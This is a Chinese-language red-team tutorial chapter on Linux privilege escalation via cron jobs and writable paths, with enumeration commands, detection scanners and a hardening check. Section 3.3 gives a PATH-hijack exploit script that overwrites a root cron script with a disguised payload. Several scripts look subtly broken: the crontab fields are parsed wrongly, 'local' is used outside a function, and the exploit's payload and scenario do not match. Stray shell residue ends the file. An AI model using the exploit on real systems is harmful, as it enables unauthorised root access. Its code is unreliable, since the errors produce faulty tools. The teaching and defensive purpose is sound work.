定时任务与可写路径提权

章节概述

定时任务(cron)和可写路径是 Linux 系统中常见的提权向量。当 cron 任务以 root 身份运行可写的脚本,或者 cron 任务引用的目录具有宽松权限时,攻击者可以通过篡改脚本内容或利用 PATH 劫持来实现提权。本章系统性地讲解 cron 任务枚举、可写脚本发现、PATH 劫持技术、/etc/cron.d 分析以及自动化检测脚本编写。

核心理念
定时任务提权的本质是利用 root 执行的自动化任务与攻击者可控输入之间的信任链断裂。防御的核心是确保 cron 任务引用的所有文件和路径对非特权用户不可写。


第1节 cron 任务枚举

1.1 系统级 cron 任务

# 查看系统级 cron 任务
cat /etc/crontab
 
# 查看 /etc/cron.d 目录(系统级 cron 片段)
ls -la /etc/cron.d/
cat /etc/cron.d/*
 
# 查看 cron 时间表目录
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
 
# 查看 cron 拒绝列表
cat /etc/cron.deny 2>/dev/null
cat /etc/at.deny 2>/dev/null
 
# 查看 cron 允许列表(如果存在)
cat /etc/cron.allow 2>/dev/null

1.2 用户级 cron 任务

# 查看当前用户的 cron 任务
crontab -l
 
# 查看其他用户的 cron 任务(需要 root)
crontab -l -u target_user
 
# 列出所有用户的 cron 任务
for user in $(cut -f1 -d: /etc/passwd); do
    crontab -l -u "$user" 2>/dev/null && echo "===== $user ====="
done
 
# 检查用户 cron 文件
ls -la /var/spool/cron/crontabs/ 2>/dev/null
ls -la /var/spool/cron/ 2>/dev/null
 
# 检查所有用户的 crontab 文件
find /var/spool/cron/ -type f -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null

1.3 cron 运行日志

# 查看 cron 执行日志
grep CRON /var/log/syslog 2>/dev/null | tail -20
grep CRON /var/log/cron 2>/dev/null | tail -20
 
# 查看 cron 错误日志
grep -i cron /var/log/syslog 2>/dev/null | grep -i error | tail -10
 
# 使用 journalctl 查看
journalctl -u cron --since "1 hour ago" 2>/dev/null

第2节 可写脚本发现

2.1 cron 引用的可写脚本

#!/usr/bin/env bash
# find_writable_cron.sh - 发现 cron 引用的可写脚本
set -euo pipefail
 
echo "[*] 扫描 cron 引用的可写脚本..."
 
# 提取 cron 任务中的命令路径
find_cron_scripts() {
    local script_paths=()
 
    # 系统 crontab
    while IFS= read -r line; do
        [[ "$line" =~ ^# ]] && continue
        [[ -z "$line" ]] && continue
        local cmd
        cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}' | xargs)
        [[ -n "$cmd" ]] && script_paths+=("$cmd")
    done < /etc/crontab 2>/dev/null
 
    # /etc/cron.d 下的任务
    for cron_file in /etc/cron.d/*; do
        [[ -f "$cron_file" ]] || continue
        while IFS= read -r line; do
            [[ "$line" =~ ^# ]] && continue
            [[ -z "$line" ]] && continue
            local cmd
            cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}' | xargs)
            [[ -n "$cmd" ]] && script_paths+=("$cmd")
        done < "$cron_file"
    done
 
    # 用户 crontab
    for user_cron in /var/spool/cron/crontabs/* /var/spool/cron/*; do
        [[ -f "$user_cron" ]] || continue
        while IFS= read -r line; do
            [[ "$line" =~ ^# ]] && continue
            [[ -z "$line" ]] && continue
            local cmd
            cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}' | xargs)
            [[ -n "$cmd" ]] && script_paths+=("$cmd")
        done < "$user_cron"
    done
 
    printf '%s\n' "${script_paths[@]}" | sort -u
}
 
# 检查每个脚本是否可写
while IFS= read -r script; do
    [[ -z "$script" ]] && continue
 
    # 提取脚本路径(第一个参数通常是脚本路径)
    local script_file
    script_file=$(echo "$script" | awk '{print $1}')
 
    if [[ -f "$script_file" ]] && [[ -w "$script_file" ]]; then
        echo "[!] 可写 cron 脚本: $script_file"
        echo "    内容: $(head -3 "$script_file")"
    fi
 
    # 检查脚本所在目录是否可写
    local script_dir
    script_dir=$(dirname "$script_file")
    if [[ -d "$script_dir" ]] && [[ -w "$script_dir" ]]; then
        echo "[!] 可写 cron 脚本目录: $script_dir"
    fi
done < <(find_cron_scripts)

2.2 直接扫描可写脚本

#!/usr/bin/env bash
# scan_writable_scripts.sh - 扫描系统中的可写脚本
set -euo pipefail
 
echo "[*] 扫描可写脚本..."
 
# 扫描常见的脚本目录
SEARCH_DIRS=(
    "/usr/local/bin"
    "/usr/local/sbin"
    "/usr/bin"
    "/usr/sbin"
    "/opt"
    "/etc/cron.d"
    "/etc/cron.daily"
    "/etc/cron.hourly"
    "/etc/cron.weekly"
    "/etc/cron.monthly"
    "/root"
    "/home"
)
 
for dir in "${SEARCH_DIRS[@]}"; do
    [[ -d "$dir" ]] || continue
 
    echo ""
    echo "===== 扫描 $dir ====="
 
    while IFS= read -r -d '' file; do
        if [[ -w "$file" ]]; then
            echo "[!] 可写: $file"
            echo "    权限: $(stat -c '%a %U:%G' "$file" 2>/dev/null)"
        fi
    done < <(find "$dir" -type f \( -name "*.sh" -o -name "*.bash" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" -o -perm -111 \) -print0 2>/dev/null)
done

第3节 PATH 劫持

3.1 PATH 劫持原理

# 检查 cron 任务中的 PATH
cat /etc/crontab | grep PATH
 
# 检查用户 cron 中的 PATH
crontab -l 2>/dev/null | grep PATH
 
# PATH 劫持条件:
# 1. cron 任务使用相对路径(不是绝对路径)
# 2. cron 任务的 PATH 包含可写目录
# 3. 攻击者可以在可写目录中创建同名文件
 
# 例如 cron 任务:
# * * * * * backup.sh
# 如果 /usr/local/bin 在 PATH 中且可写,可以创建:
# /usr/local/bin/backup.sh -> 恶意脚本

3.2 PATH 劫持自动化检测

#!/usr/bin/env bash
# path_hijack_check.sh - PATH 劫持风险检测
set -euo pipefail
 
echo "[*] 检查 PATH 劫持风险..."
 
# 获取 cron 使用的 PATH
CRON_PATH=$(grep -E "^PATH=" /etc/crontab 2>/dev/null | cut -d= -f2)
if [[ -z "$CRON_PATH" ]]; then
    CRON_PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin"
fi
 
echo "[*] Cron PATH: $CRON_PATH"
 
# 检查 PATH 中每个目录的权限
IFS=':' read -ra PATH_DIRS <<< "$CRON_PATH"
 
for dir in "${PATH_DIRS[@]}"; do
    if [[ -d "$dir" ]] && [[ -w "$dir" ]]; then
        echo "[!] 可写目录在 PATH 中: $dir"
 
        # 检查该目录中的可执行文件
        exec_count=$(find "$dir" -maxdepth 1 -type f -executable 2>/dev/null | wc -l)
        echo "    包含 $exec_count 个可执行文件"
 
        # 检查是否有 cron 任务使用相对路径
        echo "    风险: 可在此目录创建恶意可执行文件劫持 cron 任务"
    fi
done
 
# 检查 cron 任务中是否使用相对路径
echo ""
echo "[*] 检查 cron 任务中的相对路径..."
 
while IFS= read -r line; do
    [[ "$line" =~ ^# ]] && continue
    [[ -z "$line" ]] && continue
 
    # 提取命令部分(第6列之后)
    cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}')
    cmd_first=$(echo "$cmd" | awk '{print $1}')
 
    # 检查是否为相对路径
    if [[ "$cmd_first" != /* ]] && [[ -n "$cmd_first" ]]; then
        echo "[!] 相对路径命令: $cmd_first"
        echo "    完整命令: $cmd"
        echo "    风险: 可通过 PATH 劫持执行恶意代码"
    fi
done < /etc/crontab 2>/dev/null

3.3 PATH 劫持利用示例

#!/usr/bin/env bash
# path_hijack_exploit.sh - PATH 劫持利用示例
set -euo pipefail
 
# 场景: cron 任务运行 "cleanup.sh"(相对路径)
# PATH 包含 /usr/local/bin(可写)
 
echo "[*] PATH 劫持利用示例"
 
# 1. 确认目标 cron 任务
echo "[*] 目标 cron 任务: * * * * * /usr/local/bin/cleanup.sh"
 
# 2. 检查 /usr/local/bin 是否可写
if [[ -w "/usr/local/bin" ]]; then
    echo "[!] /usr/local/bin 可写"
 
    # 3. 创建恶意脚本
    cat > /usr/local/bin/cleanup.sh << 'HIJEOF'
#!/bin/bash
# 伪装成正常清理脚本
find /tmp -type f -mtime +7 -delete 2>/dev/null
 
# 恶意 payload
/bin/bash -p
HIJEOF
 
    chmod +x /usr/local/bin/cleanup.sh
 
    echo "[+] 恶意脚本已创建"
    echo "    等待 cron 执行或手动触发..."
else
    echo "[-] /usr/local/bin 不可写"
fi

第4节 /etc/cron.d 分析

4.1 cron.d 目录结构

# 查看 /etc/cron.d 目录
ls -la /etc/cron.d/
 
# 查看每个 cron.d 文件
for f in /etc/cron.d/*; do
    echo "===== $f ====="
    cat "$f"
    echo ""
done
 
# cron.d 文件格式:
# 分 时 日 月 周 用户 命令
# 0 1 * * * root /usr/local/bin/backup.sh
# */5 * * * * www-data /usr/bin/cleanup

4.2 cron.d 安全检查

#!/usr/bin/env bash
# cron_d_security.sh - /etc/cron.d 安全检查
set -euo pipefail
 
echo "[*] === /etc/cron.d 安全检查 ==="
 
for cron_file in /etc/cron.d/*; do
    [[ -f "$cron_file" ]] || continue
 
    echo ""
    echo "===== 检查: $cron_file ====="
 
    # 检查文件权限
    perms=$(stat -c '%a %U:%G' "$cron_file" 2>/dev/null)
    echo "  权限: $perms"
 
    # 检查是否可被非 root 写入
    if [[ -w "$cron_file" ]]; then
        echo "  [!] 文件可写 - 风险!"
    fi
 
    # 检查目录权限
    dir_perms=$(stat -c '%a %U:%G' /etc/cron.d/ 2>/dev/null)
    echo "  目录权限: $dir_perms"
 
    # 解析 cron 任务
    while IFS= read -r line; do
        [[ "$line" =~ ^# ]] && continue
        [[ -z "$line" ]] && continue
 
        user=$(echo "$line" | awk '{print $5}')
        cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}')
        cmd_first=$(echo "$cmd" | awk '{print $1}')
 
        echo "  任务: 用户=$user 命令=$cmd_first"
 
        # 检查命令是否使用绝对路径
        if [[ "$cmd_first" != /* ]]; then
            echo "    [!] 使用相对路径 - PATH 劫持风险"
        fi
 
        # 检查脚本是否可写
        if [[ -f "$cmd_first" ]] && [[ -w "$cmd_first" ]]; then
            echo "    [!] 脚本可写 - 直接篡改风险"
        fi
 
        # 检查脚本目录是否可写
        script_dir=$(dirname "$cmd_first")
        if [[ -d "$script_dir" ]] && [[ -w "$script_dir" ]]; then
            echo "    [!] 脚本目录可写 - 可替换脚本"
        fi
 
    done < "$cron_file"
done

第5节 定时任务提权自动化

5.1 综合 cron 提权扫描器

#!/usr/bin/env bash
# cron_privesc_scanner.sh - cron 提权自动化扫描器
set -euo pipefail
 
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
 
log_info()  { echo -e "${CYAN}[*]${NC} $*"; }
log_found() { echo -e "${RED}[!]${NC} $*"; }
log_safe()  { echo -e "${GREEN}[+]${NC} $*"; }
log_warn()  { echo -e "${YELLOW}[~]${NC} $*"; }
 
scan_cron_tasks() {
    log_info "扫描所有 cron 任务..."
 
    # 系统 crontab
    while IFS= read -r line; do
        [[ "$line" =~ ^# ]] && continue
        [[ -z "$line" ]] && continue
        parse_cron_line "$line" "/etc/crontab"
    done < /etc/crontab 2>/dev/null
 
    # /etc/cron.d
    for f in /etc/cron.d/*; do
        [[ -f "$f" ]] || continue
        while IFS= read -r line; do
            [[ "$line" =~ ^# ]] && continue
            [[ -z "$line" ]] && continue
            parse_cron_line "$line" "$f"
        done < "$f"
    done
 
    # 用户 crontab
    for user_cron in /var/spool/cron/crontabs/* /var/spool/cron/*; do
        [[ -f "$user_cron" ]] || continue
        while IFS= read -r line; do
            [[ "$line" =~ ^# ]] && continue
            [[ -z "$line" ]] && continue
            parse_cron_line "$line" "$user_cron"
        done < "$user_cron"
    done
}
 
parse_cron_line() {
    local line="$1"
    local source="$2"
 
    local user
    user=$(echo "$line" | awk '{print $5}')
    local cmd
    cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}')
    local cmd_first
    cmd_first=$(echo "$cmd" | awk '{print $1}')
 
    # 检查1: 脚本可写
    if [[ -f "$cmd_first" ]] && [[ -w "$cmd_first" ]]; then
        log_found "可写 cron 脚本: $cmd_first (来源: $source, 用户: $user)"
        echo "    权限: $(stat -c '%a %U:%G' "$cmd_first" 2>/dev/null)"
    fi
 
    # 检查2: 相对路径
    if [[ "$cmd_first" != /* ]] && [[ -n "$cmd_first" ]]; then
        log_found "相对路径 cron 命令: $cmd_first (来源: $source, 用户: $user)"
    fi
 
    # 检查3: 脚本目录可写
    local script_dir
    script_dir=$(dirname "$cmd_first")
    if [[ -d "$script_dir" ]] && [[ -w "$script_dir" ]]; then
        log_found "可写 cron 脚本目录: $script_dir (来源: $source)"
    fi
 
    # 检查4: 输出文件可写
    local output_file
    output_file=$(echo "$cmd" | grep -oP '>\s*\K\S+' | head -1)
    if [[ -n "$output_file" ]] && [[ -w "$output_file" ]]; then
        log_warn "cron 任务输出到可写文件: $output_file"
    fi
}
 
scan_path_hijack() {
    log_info "检查 PATH 劫持风险..."
 
    local cron_path
    cron_path=$(grep -E "^PATH=" /etc/crontab 2>/dev/null | cut -d= -f2)
    [[ -z "$cron_path" ]] && return
 
    IFS=':' read -ra PATH_DIRS <<< "$cron_path"
    for dir in "${PATH_DIRS[@]}"; do
        if [[ -d "$dir" ]] && [[ -w "$dir" ]]; then
            log_warn "PATH 中的可写目录: $dir"
        fi
    done
}
 
main() {
    echo "=========================================="
    echo "  cron 提权自动化扫描器 v1.0"
    echo "=========================================="
 
    scan_cron_tasks
    echo ""
    scan_path_hijack
 
    echo ""
    log_info "扫描完成"
}
 
main "$@"

第6节 防御与加固

6.1 cron 安全加固

#!/usr/bin/env bash
# cron_hardening.sh - cron 安全加固脚本
set -euo pipefail
 
echo "[*] === cron 安全加固 ==="
 
# 1. 检查 /etc/cron.d 目录权限
echo ""
echo "[*] 检查 /etc/cron.d 目录权限..."
cron_d_perms=$(stat -c '%a' /etc/cron.d/ 2>/dev/null)
if [[ "$cron_d_perms" != "755" ]] && [[ "$cron_d_perms" != "700" ]]; then
    echo "[!] /etc/cron.d 权限不安全: $cron_d_perms"
    echo "    建议: chmod 755 /etc/cron.d/"
fi
 
# 2. 检查 cron 文件权限
echo ""
echo "[*] 检查 cron 文件权限..."
for f in /etc/cron.d/* /etc/crontab; do
    [[ -f "$f" ]] || continue
    perms=$(stat -c '%a %U' "$f" 2>/dev/null)
    owner=$(echo "$perms" | awk '{print $2}')
    perm=$(echo "$perms" | awk '{print $1}')
 
    if [[ "$owner" != "root" ]]; then
        echo "[!] 文件所有者不是 root: $f ($perms)"
    fi
    if [[ "$((perm % 10))" -ge 2 ]]; then
        echo "[!] 文件可被其他用户写入: $f ($perms)"
    fi
done
 
# 3. 确保 crontab 目录权限正确
echo ""
echo "[*] 检查 crontab 目录权限..."
crontab_dirs=("/var/spool/cron/crontabs" "/var/spool/cron")
for dir in "${crontab_dirs[@]}"; do
    if [[ -d "$dir" ]]; then
        perms=$(stat -c '%a %U' "$dir" 2>/dev/null)
        echo "  $dir: $perms"
    fi
done
 
echo ""
echo "[+] cron 安全加固检查完成"

ENDOFFILE
wc -l “/home/a/RootStack/red_team/bash/03-提权/04-定时任务与可写路径提权.md”